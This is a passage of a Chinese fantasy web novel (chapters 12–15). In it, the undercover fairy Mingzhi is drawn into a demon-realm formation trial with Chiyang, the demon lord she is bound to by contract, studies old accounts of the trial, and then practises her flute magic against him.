壮汉叫作魔啸,身形鹤立鸡群,比他还高出大半个头,两人言语着刚说到一半,许是发现这边有她在,炽阳的目光调转过来,眼睛旋即一亮,自然而然地便朝偏殿走。 他先是信手摘了片盆栽里的叶子,随后把叶片放进鱼缸给觅食的锦鲤添点堵,路过角落的断云时还顺了杯热茶,将优雅的断公子气得敢怒不敢言。 此人一路招猫逗狗就没闲着,等近前往桌上了一看,连声叹:“你们在吃八宝斋的点心啊。” 说着就给自己拿了一块。 “你来得正好。”刺海棠乐呵呵的,“我们刚和小双双讲完地现日,才提起你们呢。” 他眉梢微微一扬,拖长了嗓音:“哦?……是吗。” 刺海棠问:“今年的法阵开在哪儿?找到了没?” 炽阳:“城东一条旧巷子的墙上。” 鸣枝听见对面的斩星没精打采地抱怨:“我最不喜欢穿墙了……” 刺海棠:“嗨呀,那也比在头顶好嘛。” 四下里犹在七嘴八舌地讨论,忽然,那头的炽阳一闪身绕到了她跟前,靠在桌边颔首笑问:“诶,你吃好了吗?” 她不明就里的:“啊?” 紧接着整个人就被炽阳从椅子里拉了起来。 “老叔让我看见你就带你去找他,他有事对你讲。” 鸣枝给他拽得手忙脚乱,磕磕绊绊地绕开了桌椅,亦步亦趋跟在后面,脑中却当即做出反应——难道与契约有关。 炽阳领着她七弯八拐,不知在何处停下了脚。 “什么事情?”她左右瞧了瞧,小小声问,“是不是解契有眉目了?” 他没急着回答,倒是反问:“海棠是怎么和你解释‘地现日’的?” 一种把人丢进火坑还要看人爬出来的传统习俗,二十五年一度。 鸣枝将听来的话简单复述了一遍,“……她还说,他们几个人都要去。” 如此一想,做魔族的统领也挺不容易。 倘使出了什么岔子,困在那种地方恐怕很难逃生吧。 她犹在心头默默感叹,还好跟自己没有关系。 对面的炽阳点点头:“不止他们。” 他说道:“你也要去。” 12.地现日(二) 鸣枝站在原地独自万籁俱寂了片瞬,而后震耳欲聋地回过神:“我?” “这与我何干啊?!” 炽阳无可奈何地耸耸肩:“没办法,因为我要去。” “你为什么要去?” 她还记得规则,“不是魔都统领才去的吗?” “对啊。”他理所当然地点头,“我就是魔都的统领。” “你是统领?”鸣枝一时消化不了,“可你从来没跟我提过。” 不承想炽阳听了还挺奇怪:“我没告诉过你吗?” 鸣枝:“当然没有!” “没事。”他竟有脸笑,“那你现在知道了。” “……” 现在知道有什么用! 这哪里就没事了! 炽阳琢磨着想了想,指指自己:“怎么我看着不像统领吗?” 他不由歪头好奇起来,“所以你一直以为我在混沌塔里是干什么的?” 鸣枝欲言又止:“舅舅老叔的私生子……” 不能怪她,堂堂魔都的领主,又是给他兜底,又是知道他的命脉死穴,连带对自己都大开方便之门,照顾得未免太周到了,便是亲爹也不遑多让。 可嘴上却不让他叫爹。 如此暧昧且无法宣之于口的关系,思来想去,不就剩一个答案了…… 炽阳闻言眨了眨眼睛,似乎觉得蛮有趣,短促而轻浅地笑出声:“还真像那么回事。” “这个不是重点!” 鸣枝急得火烧眉毛。 她先前听完了那诡异的魔族志怪,见刺海棠说得轻巧容易,且有人肯为此出头,她便全是看热闹的心态。 现如今热闹看到自己身上来了,大脑堪称晴空霹雳,一片空白。 鸣枝就地拉了一会儿磨,“我一定要去么?据说你们三天之内就得从里面出来,也才三天而已……” 她没必要冒这个险吧。 “是啊。”炽阳看着她,“但按照计划,前三日会对魔都四周布防,等到进去就是第四天了,五日后便到月圆夜。” 言罢他抓了抓头发叹气:“唉,我本来以为是可以避开的。” “五天?!这么快?” 鸣枝终于后知后觉想起在沙漠里被魇兽扰乱的时间,魔域和人界的年月本也不同。 她忙要去看天色。 一扭头,窗外乌云罩顶。 “……” 忘了这里压根瞧不见日月星辰! 鸣枝才安稳了没多久的心绪又一次惶然得鸡飞狗跳,早起就不该蹦出那句“现在已经不会随随便便惊慌失措提心吊胆了”,报应这就来了。 她原就不擅战斗,武力更无法与刺海棠等人相提并论,这个地现法阵一听便不是什么善茬,如果不能于时限内脱身岂不是要把命搭上。 好端端的,竟要为了魔族的都城去献祭自己。 太大方了吧! “我非得去吗?”她怀抱一丝希望试探着开口,“能不能……不去啊?” 炽阳听她这番惊人之言,倒也不计较,眼里满是意外的新鲜,似笑非笑地看着她:“你不去,那我怎么办?” 少年语气直白:“没有你我会死的。” 末了又有些不解:“再说你不怕契约反噬吗?我若是因此出事,你多半会爆体而亡,不去也活不了。” 鸣枝:“……” 怎么她到了魔域,不是命悬一线就是在命悬一线的路上。 一边是险恶的深渊地狱,一边则是摆脱不了的契约判定。 两边的死状瞧着都相当惨烈。 “不要怕嘛。”炽阳倒还是那副从容自如的态度,“只是进去一趟而已,又不是出不来。” 鸣枝忍不住打断:“我跟你们不一样!” 话音一顿,便小声道,“我能力不行的……” 她知道“地现日”这种东西都还不满半个时辰,法阵里面有什么,会出现什么,门朝哪边开尚且一概不知,猛地就要她去众魔头的证道之地上演虎口脱险,她胆子顶脑门儿上才不怕吧! 别说鸣枝是个心怀不轨的内鬼,哪怕是真的黑水滩懵懂乡巴佬,见此情形也得吓死了。 早说过该让那些能打的上仙出马的。 她在这地方根本寸步难行嘛! “这个你用不着担心。”炽阳姿态轻松地朝她一笑,“进去后只需跟着我就好,别的什么也不必做,权当是游山玩水,我会把你带出来。” 鸣枝命苦又将信将疑地望着他。 大概见她不信,少年只好替自己辩解,“我们有契约在身,我肯定得好好保护你啊,难道还能放着你不管吗?” 他笑道:“最糟糕的结果也不过是我俩一起死在里面,保证你不会是一个人。” “……” 她一点也不想跟他一起死在里面。 鸣枝静下来思索片晌,“法阵要六个人才消失,如果不是因为我,你们原本是打算安排谁入阵?” 炽阳:“老叔。” “混沌塔目前没有多余的实力相当的高手了,所以往年是他代劳。” 她立刻心思活泛:“那,不能让舅舅老叔和塔里的其他某位……稍微厉害些的人物代替我们去么?” “这样既不用冒险,也可以安全度过月圆日了。” 不承想,那头的金发少年话音蓦地沉静下来,清脆而果决。 “不行。” 他玛瑙色的瞳眸轻描淡写地一睇,眼里隐约潜着若有似无的笑意,“除了我,没有人可以多带一个出阵,哪怕是老叔也不行。” 鸣枝站在那里,看得一时竟有几分怔忡。 “他说的是真的。” 花厅旁,书房内。 桌案后的引千锋听明来意,替炽阳做担保,“我的确办不到,纵观混沌塔上下,恐怕就他一个敢了。” “你放心,干这种事他有经验,别看他这样,人还是挺厉害的,只要他死不了,你就一定没事。” 舅舅老叔的态度颇为风轻云淡,倒让鸣枝略微镇定了不少。 黑塔里能闯过地现大关的拢共才五个,于情于理,他想必都不愿看到他们二人出事。 能这么处变不惊,那应该不难办…… 鸣枝只好强行说服内心接受这个安排。 横竖是躲不掉了。 去就去吧。 实在到了万不得已的地步,至少还有求助仙界的保命符可用。 不管怎么样,她总有最后的底牌。 鸣枝是接受了,却另有一帮人反应比她还大。 当炽阳宣布了这个崭新的消息,偏殿内的一干魔头鸦雀无声。 随后一窝蜂炸开了锅。 斩星:“什么……” 断云:“她去?!” 大块头对此不予置评,举着烟斗用力吸了一口。 唯有刺海棠在没心没肺地兴高采烈:“小双双要一起呀?好哇好哇,一定很好玩。” 斩星站在最前面质问:“这次地现她参与,那老叔呢?” 炽阳:“老叔当然留守黑塔了。” 断云一巴掌把矮子挥开,“她之前进过地现阵吗?” 炽阳答得坦率:“没有。” “没有?那她是有什么过人之处?命比常人多几条?还是会什么空间腾跃术一类的?” 这问题他仔细想了想,“应该也没有吧。” 断云表情一言难尽:“什么都不确定还要她进去,别开玩笑了,秘境里面瞬息万变,即便经验丰富的老手也不敢掉以轻心,她一个一问三不知的上古遗民凑什么热闹。 “你这么乱来,老叔本人知道吗?” “知道啊。”金发的少年笑容胆大包 天,“这事儿他已经同意了,不放心你可以去问。” 锦衣华服的贵公子还要开口,被斩星微不可见地用手肘捅了捅,许是意会到什么,他将漫到嘴边的不满咽了下去,目光从炽阳脸上转到了他背后的鸣枝身上,意味不明地略一拧眉。 大约猜到她不是什么深藏不露的大能。 “我有言在先,虽说大家向来是一同行动,不过进了秘境顶多互相搭把手,闯阵再怎么熟练这也是攸关性命。 “顾自己都够呛了,别指望我来照顾人。” “谁用你照顾了。” 炽阳不着痕迹地往旁边挪了半步,挡住对方的视线,懒洋洋地牵起嘴角,“她随我行事,你们照自己的习惯该干什么干什么,至于脱不脱得了身,不劳费心。” 斩星无奈地提醒:“新人闯阵折在里头的不是少数,出了事我可不管噢……” 刺海棠一马当先地举起手,“我我我,我来帮忙。” 斩星:“省省吧,你不用旁人帮就不错了。” 鸣枝看着围在炽阳周遭的诸多质疑,契约与他体质的异样皆是不能对外透露之事,突然抛出这个决定难免惹人非议。 她心道,几天而已,很快会过去的。 断云:“随你的便。” 也就是在这时,隔着面前细碎的金发,她恍惚瞧见断云收回目光之前,眼底不经意流露出的一丝厌烦。 像是某种久违的感觉,小仙女一下子定住。 断云朝炽阳道,“你把她看好了,别给人添麻烦,拖大家的后腿就行。” …… 斩星是等鸣枝二人走远后才开口的。 “一个久不问世事的黑水滩魔族,又这么年轻,她一到,地现法阵说换人便换人,从未有过的先例。” “还用想么。”断云重新温了一壶茶,“肯定是老叔的意思。” “只要能从秘境全须全尾地回来,最后一个统领的位置铁定是她的了,反正只说出阵,又没说用什么法子。 “特地命炽阳一路‘护驾’,为的不正是确保万无一失?” 断公子斩钉截铁地喝茶,“老叔摆明了要捧她,地现不过走个场子,自古肥水不流外人田么,大家心里明白就是。” “唔……” 刺海棠托着脸颊思忖,“可我感觉她对地现日接触得不多,也就这两天的事吧。” 斩星:“不用‘感觉’,她八成今天才从你嘴里听说的。” 言罢又摸起下巴琢磨,“可能正是她听我们说完之后,才去求老叔答应的。” 刺海棠微微有些发愁:“她连来大魔都都还要炽阳去接,现在开始做准备,赶得及吗?” 斩星一摊手:“这可讲不好。” “反正出阵是各走各的路。”断云不以为意,“地现到时业已平息,若真出岔子被恶鬼吞了,也是自己没本事。” “炽阳说他有办法,就让他搞定咯。” 斩星抱着双臂,左思右想仍觉得哪里不对劲,他挠挠太阳穴表示费解:“按理,那不是老叔的‘干’侄女么?” “这架势,是否搞得太大了点儿……什么拜把子的交情能做到这个地步——把炽阳当打手似的使唤。” 此时此刻,在边上默默吸烟斗的魔啸开了口,嗓音沧桑: “老叔孤身千年,他一直膝下无子。” 众人闻言,纷纷深觉其中必有猫腻,各自垂首沉吟良久,整齐划一地得出了结论。 “——私生女!” 斩星:“肯定是了!” 断云:“错不了!” “怪不得要送去黑水滩呢,老林深山,避人耳目。” “一切果然有迹可循……” 这会子,刚走出花厅的引千锋连连打了好几个喷嚏。 他一抬头,但见自己的一双私生儿女走了过来。 13.地现日(三) 从偏殿离开后,鸣枝一路上都有些心事重重。 尽管自己并不想掺和这个什么地现阵,但落在旁人眼中,瞧着就像是奔着当魔都统领去的。 而且还是想借炽阳的东风不劳而获,说不定以为她用了什么不光彩的手段。 除了明白真相的老叔知道他俩是为了应付契约,其他魔族很难不多想。 哪怕最后推辞不受,别人大概也觉得她此举必有图谋。 断云的话音言犹在耳,那语气令鸣枝胸口隐隐沉郁。 心里竟莫名地有点难受。 她的确对闯阵一窍不通,进去之后肯定什么都得靠炽阳。 鸣枝自知不是一个很会临机应变的人,恐怕连抱大腿也能抱得笨手笨脚。 她不说话,走在一旁的炽阳倒几次想开口,因见她一副闷闷不乐的样子又全给咽了回去。 他也不知晓她在顾虑什么。 只当鸣枝是还在害怕入阵的事。 炽阳:“老叔。” 花厅外高挑的人偶端着托盘朝二人微一欠身。 引千锋抬了抬下巴问:“已经通知到了?” 炽阳应了一句:“通知到了。” 他笑着摊手:“刚刚说完,他们只怕还有得吵,我就先溜了。” 而慢他半步的小姑娘犹在边上一语不发地沉默着,那模样颇为神不守舍。 猝不及防被塞了这一堆焦头烂额的事,她显然需要给自己一点时间处理。 引千锋想来便萌生出些许同情,于是对着鸣枝尤其好脾气地开口:“接下来的几天会给整个空间张开结界,毕竟地现阵降临之日高手几乎都进去了,守备空虚,虽然通常心怀不轨之徒也怕被法阵牵连,不过总归是有备无患。” 他温和道:“你就好好在屋里休息,养足精神。” “秘境中长着外面采不到的奇花异石,飞禽走兽,他们每年都大包小包连吃带拿,趁机大赚一笔,反正是要去的,你也别错过。”引千锋轻笑,“正好还有几株草药关乎你们解契,这次可以一并带回来。” 他这么说本是为了宽慰,却不料对方突然扬起视线,“舅舅,你能给我讲讲法阵里面有什么吗?” “我想……我想仔细了解一下。” 她此话一出,引千锋还仅是少许讶然,反倒炽阳转过头,眼里难得有几分诧异。 短暂怔愣了片刻的老叔回过神笑了一笑,抬手摁在她肩膀。 “舅舅没给人当过老师,好在舅舅藏书丰厚。” 他错开身,让出书房的门,“凡人言‘书中自有黄金屋’,这里头收录了不少魔界的传记志怪,奇闻轶事,也包括前人探地现阵的记载。” “你可以随便取阅,往后就不必知会我了,若是找不到也可以叫阿温替你带路。” 风度翩翩的人偶彬彬有礼地冲她行了个礼。 鸣枝握起拳感激不尽:“谢谢舅舅!” 有书也可以,有书也不错。 总比两手空空要好。 当天晚上,她抱了小山般的一摞典籍回到住处啃起来。 其实鸣枝打心底里知道,就剩三天,干什么都来不及了,可是如若不干点什么,恐怕更加坐立难安。 翻开书的第一眼,她脑中便迅速起了一层雾。 现在开始了解地现阵其难度不亚于从盘古开天地说起两界起源。 最要命的是,魔族所使用的文字虽与仙族大致相同,却也有一部分是自创的。 她要读懂全本,还得先识字! 鸣枝只好半途又跑了一趟,搬来几本蒙学读物,边学边研读。 炽阳见了都忍不住咋舌:“你这样能看得进内容吗?” 但很快他就发现,鸣枝翻阅的节奏相当快,半人来高的书册仅一宿就下去了一多半。 她全神贯注的时候整个人有种心无旁骛的认真。 魔族人写的典籍和仙、人两族风格大不一样。 他们用词考据皆不讲究,有的写得晦涩难懂,有的则写得放任自流,前言不搭后语,似乎梦到哪句是哪句。 鸣枝从有记录的最早的一份探阵古本着手,一一细读。 原来起初魔域并不时兴“闯阵”的习俗,大都城往往是实力雄厚的大势力,要么简单粗暴地上街抓六个倒霉蛋,要么温和一点,将犯了大事的罪人集中关押攒起来,留待此时使用。 契机源于某个好运的恶徒。 他惹恼了一方领主,被惩罚投入阵中以儆效尤。 没成想,这个恶徒虽残暴无礼,却实在战力非凡,过了三日他竟从其间安然无恙地出来了,并就此逃之夭夭逍遥法外,还将自己的事迹作为荣耀大肆宣扬。 自那之后,人们才重新审视起法阵的规则,知道进去了也是有脱身的可能,逐渐便有胆大包天者入内一探。 据说法阵里是一处秘境。 大小尚且不明。 因为时间所限,没有一人摸到过秘境的边缘。 至于其中存在何物,那就众说纷纭了。 这似乎并非固定,每次的景象皆有不同。 有人说见过四处巡逻的石像,有人说夜里凭空钻出咬人的兽骨,还有人说遇到了奇怪的图腾和古代文字,那文字还会打人! 总之一路看下来,秘境中的一切因人而异,变化莫测,难以一言概之。 而且鸣枝总觉得这些魔族人写的经验手记大多有所保留,说是记载,更像在显摆功绩,书中洋洋洒洒都是对自身如何英勇退敌,如何机智避险的吹嘘与夸耀,关于怎么逃出来的部分全都一笔带过。 分明是怕“教会徒弟,饿死师傅”。 她把书合上严肃地琢磨了一会儿。 内心浮起一股看完前后无甚区别的苍凉之感。 无论是哪位作者的探阵手札,流露出来的忠告只有一句——全凭本事,好自为之。 可自己既打不过诡异凶残的魔物,又无出奇制胜的聪明才智。 鸣枝焦灼地咬住手指。 最后决定索性把里面提到的每一样都熟悉一遍。 毕竟这么短的时间内,她是不可能突变成一个拳打魔龙脚踩异兽的统领替补,只能从其他地方想办法了。 鸣枝找到几册解说魔族古代文的书,接着又搬了各类魔兽魔物的图鉴集成。 此刻不得不佩服舅舅老叔那包罗万象的书库,当真是要什么有什么。 她伏在案上整整一天一夜没挪动过,神情紧张而集中。 照明的灯台将两道人影宽阔地投在墙上。 炽阳趴在桌子的另一侧支着半张脸看她眼也不眨地对着文字。 “不是说不想去吗?突然这么用功……是又感兴趣了?” “如果可以的话我当然选择能不去就不去。” 鸣枝连半个视线也没挪开,已经懒得计较他为何出现在自己房里了。 “那你怎么看起这个来。” 炽阳毫不见外地伸手去拨了几下书,“反正也是无所谓的事,你靠我不就好了,干什么这么拼?” 他说完,把手肘搁在桌上,顺势凑近前似笑非笑:“信不过我啊?” 鸣枝看书的动作微微一停。 其实她也明白自己拼命得毫无道理。 倘若炽阳真如他承诺的那样,能带着人从法阵里几进几出轻而易举,那她借他的光坐享其成又能如何。 最后厚着脸皮挤上魔都统领的位置又能如何。 对于仙界和卧底任务而言也只有好处没有坏处。 理智上虽然知道这很多余。 鸣枝手指在书页的边沿摩挲。 ……可她大概,还是不想被人看不起吧。 如果是个卧底经验丰富的人在这,想必会凭着与炽阳的契约关系花言巧语骗得他的好感,再以此作为倚仗来套取斩星等人的情报,说不定还能借秘境的手除掉一二。 横竖她是个无辜又无能的新进后生,出点什么差错很正常。 至于怎么闯阵,阵法里有何物,根本就是无需在意的东西。 但鸣枝偏偏不是。 才傍晚时分,乌云垂野的天就已经黑尽了。 窗外夜空中的浓云反常地透出一片模糊却皎洁的光,很明显是月圆将至的前兆。 仙界是个看重能力和效率的地方,凡人常说“快活似神仙”。 但其实神仙们也很忙。 神域不似魔族四分五裂,各扫门前雪,仙族不仅要维持两界平衡,还兼顾着万物生灵间的秩序。 风雨雷电,四时气候,日升月落等等……样样离不得人。 偶尔更要下凡清除从一些细小的魔界缝隙中溜到凡间的魔物,以及修炼成精的妖怪。 近年来因为与魔族冲突增多,能打的仙界战力便渐渐不够用了,大神们个个是仙界的顶梁柱,良材得用在刀刃上。 而妖魔鬼怪总是春风吹又生,既不能放着不管,又没法杀尽。 神卫队人手愈发吃紧,并非武将的神官们也陆续前去帮忙。 文神虽无惊天裂地的神通,但对付妖魔多少可以出一份力。 那一年的不周山大雪纷飞,腾云驾雾无法看清山中方位,众人只得落地而行。 鸣枝背着杂物走在最后,深一脚浅一脚地迎着风雪迈步。 风里恰好就送来了前面神将们的低语。 他们互相凑近,半转过头频频朝这边侧目,说: “怎么又是她。” “唉,别提了,我刚和她出过任务。” “分到她你就得一个人干两个人的活儿,难怪上面也不肯要呢……” “后天神到底是后天神。” “小点声儿……” 他说小点声的时候,鸣枝紧了紧肩上的包袱,把脑袋往下埋了几分。 “当值的没几个抽得开身,不管怎么说多个人总比没有强。” “队长,她太慢了,等她吹完笛子我尸体都凉了。” “就算对敌不行,也能跟在后面治治伤嘛。” “那还不如其他仙子一挥袖的工夫。” “有人背包也是好的……” 于是,后来她就只负责背行囊了。 鸣枝天生便有着弥补不了的短板,所以她只能加倍努力,加倍认真,凡事做好最充分,最万无一失的准备。 但她还是成了唯一一个,神卫队点名不要的人。 14.地现日(四) “没有信不过你。” 她重新“哗哗”翻书,“我只是不喜欢拖累别人而已。” “没有吗?”炽阳偏头盯着她,“那你怎么之前问老叔就不问我呢?” 少年挑着眉一副刨根究底的模样,“地现阵我也去过啊。” 嗯…… 鸣枝抓了抓看书看得发胀的脑袋,举目朝窗外放空,思索着要怎么说。 “……你很厉害吧,一看就是那种临场反应极快,一点便通的。” 她低头忙碌,“你的经验技巧不一定适合我,我也不一定能听明白。” “舅舅老叔年长一些,所以我觉得他的见解应该会更成熟老到。” 鸣枝早就发现了。 炽阳和她是截然相反的两种人。 他遇事不爱提前筹谋,干什么都是见机而行,这得是对自己的实力相当有自信,相当有把握的才敢这么做。 因为知道纵然最后出了岔子,也有能力兜底。 她不一样。 倘若不能一早规划好一切,对将要面临的情况有八九分的认知,一定心慌焦灼,无法思考。 而且无一例外,必会搞砸。 所以没办法不勤勉。 炽阳的神情轻轻顿了一下。 随后,他意味不明牵起嘴角浅笑:“你高看我了。” “我其实没你想得那么厉害。” 一会儿口气大得不行,一会儿又这般虚心谦逊。 鸣枝侧目微微抿唇,对此不置可否,只当他是为了安慰自己故意自贬。 炽阳从来不爱看书,读两行便能长睡不醒,至今看完的书也没超过三册。 他就见鸣枝绷着神经,眸色专注且迅速地在古籍中浏览,表情堪称如饥似渴。 天大亮时他出去了。 虽说地现日已成惯例,但城中依然会戒严。 每座大都城在地现这天都比平常更脆弱,一个不小心便会被宿敌包成饺子,因此防控格外重要。 今年老叔不进阵,倒是可以放心许多,结界也能布置得简单点。 炽阳晌午就回到房中喂完了魔兽,屋内溜达了一圈,再去大殿溜达了一圈。 无所事事。 走进鸣枝屋里时,她犹在抱着书册勤奋苦读。 少年靠在墙边站了一阵,于是又出去了。 这次他把整个乌云垂野的大街小巷都逛了一遍。 等折返黑塔,夜市的烟火已经飘到了窗前,而鸣枝仍在灯下用功。 或许是遇到什么难懂之处,她正抓着头发在绞尽脑汁,背影分明显出些许急切与不安来。 距离入阵就剩一天了。 炽阳想了想,再度转身下了楼。 此时此刻,鸣枝已进入了极度紧张的状态。 她一面发现时间快来不及了,一面又感觉到自己思绪一片空白,真是越看越浆糊。 有那么一瞬仿佛回到了天界十年一度的祭祀大典教考场上。 甚至忘了自己为何要这样努力地学一堆杂书。 眼前是魔兽魔物以及稀奇古怪的魔族文字来回绕圈圈。 我不行的。 鸣枝心凉地想。 这些根本没用。 她好似一个绝望的举子,面对着行将开场的科考。 而自己心知肚明,必会一败涂地。 就在下一刻,一只大手忽然把她面前的书扣了下去。 她尚未回过神,眼前只金灿灿地一花,人被一把拉起身。 来者依旧意兴昂扬:“你都看这么久也差不多了,诶,先别看了——” 炽阳拽着她往外走。 “等!……” 鸣枝朝背后的书册伸出手。 等等啊,她还没,看完呢! 炽阳一路将她带出了城,居然从正北的另一个传送阵直接离开了大魔都,在一处新的空间落地。 和迷惘墟的满目黄沙不同,这里郁郁葱葱,乔木参天蔽日,更有碧蓝如海的苍穹与轻松闲适的流云。 鸣枝久未见如此“阳间”的景致,足足发了半盏茶的呆才蓦地回神,想起来朝他控诉:“我就剩最后两本了,你这个时候拉我出来干什么!” 然而对面的金毛不仅全无歉疚之意,还笑得十分爽朗,“老看书有什么意思,你总不能进去用书砸死它们吧?” “不如做点别的。” 他说话间退开两步,活动活动颈部,用下巴示意她,“来,揍我。” 鸣枝:“……” 从没听过这么另类的请求。 “快啊。”挨揍的竟主动催促,“不用顾虑,你就尽自己的最大力气,想揍哪里揍哪里。” 鸣枝先是无言地默了默。 继而想着有便宜不占王八蛋,不打白不打。 于是缓缓握起拳,上下端详了炽阳一番,头部是身体相对脆弱的部位,可俗话说打人不打脸。 她视线往下移,旋即深吸一口气,卯足了劲儿冲着对方结实的胸膛猛地一击! 炽阳站着没动。 “嗯……” 兀自品了品,得出结论。 “大概可以打晕一只鸡。” 他颇为实诚地点评,“这手劲儿快赶上断云了。” 鸣枝:“你是专程来羞辱我的吗……” 看书没意思,干这个就有意思了是吧! 炽阳抱怀笑道:“当然不是了。” 他摩挲着下唇来回走了两步,很快又萌生了新主意,“赤手空拳的确也没多少发挥的余地,你再用武器试试——你平时贯使什么兵刃?” 鸣枝一言难尽地看着他,翻了个无奈的白眼,朝前摊开手。 掌心里黑色的魔笛徐徐展开。 “笛子?”他长眉一挑,这下是真来了兴趣,“这个还能打人?怎么打,用敲的?” 鸣枝并没急着搭理他,只把长笛横在唇下,吹了一小节轻俏而灵动的音。 半空中的水汽随着曲调转瞬凝成了一圈晶莹剔透的冰锥。 旋即“叮叮叮叮”,锋利且肃杀地砸进了那被包围的树身上。 炽阳的眼睛倏忽一亮,像是瞧见什么好玩之物,他几步蹿到树干旁,拔下冰锥查看深度。 冰凌在他手里碎作了细霜,很快消散在周遭。 他觉得不够过瘾,扭头道:“就这样?还有吗?” 鸣枝于是配合着又来了几段。 这回她的曲风变了,小调由轻灵到激昂,先前舒缓的旋律便立刻有了攻击性,每个吹出的音皆沸腾如星火迸溅,掷地有声。 眼前逐渐卷起走石飞沙,阴云遮天压顶,紧接着电闪雷鸣,狂风大作,更有数不尽的护体飞羽萦绕在其身畔左右。 曲终之际她怕伤了草木的根基,收敛气息的同时握着长笛朝天一举,将灵气全部打了出去。 威压流矢般刺入长空。 短短几息光景,风云退却,天重新放晴了。 “喔——你会的挺多嘛。” 炽阳盘膝坐在石头上,欣赏完她的表演拍拍手。 小仙女闻言高深莫测地不发一语,把双鸾笛在指间灵巧地挽了几个花。 心说那当然。 她可是把整个仙界的藏书学了个遍,就没有不会的术法。 “我听你刚刚吹的调子,似乎每一段都不重复。” 他琢磨了一会儿,“不同的乐声跟你招式的强弱有关联吗?” 此人虽说举止时常不着调,观察力倒 是很强。 这都被他发现了。 “与强弱没关系,其实是各种术法均有其对应的曲谱罢了,不同的法术曲子不一样……都是我自己谱的。” 鸣枝提到这个,难得有几分掩盖不住的小骄傲。 她将早已变异的双鸾魔笛横在臂弯上,以手轻抚,“以攻击为主的招式本身没有什么高低之分,杀伤力全看吹笛的时间,只要我笛子吹得越久,打出来的灵……魔力就越能强悍。” 炽阳一听这个可就坐不住了。 他浮起一脸跃跃欲试:“有多强悍?” 当下蹦起身,满怀期待地在她面前站定,抬手勾了勾:“你吹一首最长的,不要攻击那棵老歪脖子树了,就对着我打,来。” 鸣枝:“……” 他为何如此热衷于挨揍。 鸣枝迟疑地捏着笛子,拖长了嗓音犹豫。 “这样,不好吧……” “万一把你打伤了怎么办……” 炽阳毫不在乎地一笑:“当然算你本事了。” “你要真能把我打伤,那我今天的收获可就大了,不虚此行。” 以为他此言在调侃自己。 鸣枝的脸登时便有些发红。 才反应过来这话口气太托大,显得她很厉害似的,难怪招人家笑话。 “诶,没事的。” 见她仍在踯躅,炽阳于她鼻尖下打了个响指,笑道,“你尽管放马过来,契约只说我不能让你受伤,可没说你不能让我受伤。” “依照判定规则,你便是杀了我也不打紧。” 鸣枝神情复杂地瞅了他良久,有一种不知道该从何处反驳的无力感。 她闭目调整呼吸,再睁开眼的刹那,周身的气场倏忽一凛,缓缓将笛子举到了唇边。 大约感觉到她认真起来,炽阳的星眸不露声色地闪了闪,不自觉地站直了身板,步子朝旁一迈。 当第一个音泛出指尖时,调子并不似先前激亢,反而甚为悠扬,仿若某种循序渐进的开场。 炽阳恍然意识到,原来这是一首乐曲的开头,自己刚才所听到的那些都不能算完整的曲子,仅是从中截取了一段。 他不懂音律,点评不出个所以然来,只知道歌蛮好听的,是从前在魔域的任何一处都没听到过的风格,很特别,却也不知哪里特别。 要他形容的话,大约是非常自然。 轻盈得像枝头上的鸟雀扑着翅膀鸣啼出婉转的音色。 歌曲果然挺长,悠扬的前奏持续了足足半盏茶,正当他听得走神之际,旋律忽然急转直上,随之而来的隐隐还有点别的变化。 炽阳敏锐地捕捉到空气里凛冽的压迫感。 他低下头,能清晰地看见脚边震颤的碎石。 而曲调还在继续,愈发急促的笛音让四周的气息渐次凝重,风中的水分好像蒸发了,每一次呼吸都要比前一次来得困难。 甚至目之所及的花草树木也肉眼可见地委顿了下去。 也就是这时,连绵不绝的笛音在鼓点似的清越中迎来了尾声,对面的鸣枝将长笛一翻,单手握住。 炽阳但见她端正地持着笛子,冲自己这个方向,和适才打出魔气的动作一模一样——朝前轻轻一推。 那一瞬间,萦绕在她身体周围的冰锥先是“噌”地出现了一圈。 接着又是“噌”一圈,再是一圈…… 一圈一圈不停地往外扩展。 晶莹剔透的银白密密麻麻落进炽阳星眸之中,他瞳孔微微放大,眼底的情绪几乎高涨地兴奋起来。 哈。 金发少年嘴边的笑意不由自主地往上扬,看得目不转睛。 这些要是全砸下来的话,他会变成刺猬吧。 15.地现日(五) 这个念头刚落下,对面的冰锥寒光一闪,登时暴雨般疾驰而来。 炽阳眉峰一扬,迅速抬手从左到右一抹,电光石火中撑开了一堵琥珀色的屏障。 宛如疾风骤雨的冰锥顷刻“砰砰”落在上面。 他两手支着防护,分明感觉到这力度比先前砸向老歪脖子树的那一批强劲了不止一点半点。 尖锐的冰锋在护体壁垒上磕出了无数的火星子,仿佛打定了主意要把这面墙钻个里出外进的大洞来。 “嚯。” 少年的金发于暴烈的劲风中狂乱地张扬,他双臂青筋微微凸起,脸色却亢奋得兴高采烈。 “有点失算啊,这护盾好像抹得薄了一些。” “箭矢是八千支,还是一万?”他自言自语地琢磨,“瞧着应该是快打完了。” 又道:“她不会还有下一波吧。” “吧”字才吐了一半,炽阳就听见不远处又传来那清晰的铮鸣。 “噌——” 而后是熟悉的“噌噌噌”,颇有节奏的金石之声不绝于耳。 他当即被自己逗笑了似的,竟有工夫“哈哈”。 “还真的有啊。” 当第二轮冰锥铺天盖地射向此处,琥珀色的屏障终于难以为继地冒出一个清脆的“啪”。 炽阳看着眼前的护盾爆开了一条裂纹,裂纹更生裂纹,不多时便蛛网般纵横交错,岌岌可危。 他倒是半分不见慌张,反而笑得好整以暇。 待最薄弱处的裂缝叫前仆后继的冰锥洞穿的刹那,少年从掌心里拔出一柄巨剑,自我认可:“还好我也有武器。” 他以迅雷不及掩耳之势旋身而起,在原地里骤然竖起一道坚不可破的风墙,直将近前的冰箭尽数弹了出去。 炽阳快得像个只余残影的陀螺,金发飘飞得眼花缭乱,几乎是冰锥阵持续了多久就不知疲惫地转了多久。 直到最后一支箭矢没入其中。 碎冰与尘土交织成了一片朦胧的薄雾。 鸣枝离得远看不清这边的情况,慌忙攥着笛子跑过来。 “你怎么样啊,你没事吧?” 炽阳嘴里叼着半截冰锥回头,含糊不清地说:“没事。” 他朝旁轻轻一呸,继而满目新鲜地凑近她,“你这不是挺能干的吗?” 他语气中的夸赞毫不吝啬,“为什么说自己能力不行,我看你很行啊,你不见得比斩星差。” 鸣枝就知道他会有此误解,无奈且心累地叹了口气,悠悠道:“那是因为你所见到的是整首曲子吹完后的效果,这在实战中根本是不可能办到的事。” 别说平常了,今天甚至是她谱曲以来,第一次从头到尾地把曲子吹完。 炽阳对乐器一窍不通,闻言只不解地求教:“为什么?有这么难吗?” 鸣枝耐心道:“我是以笛音为媒介施法的,若不用笛子,能施展的术法就很有限。” 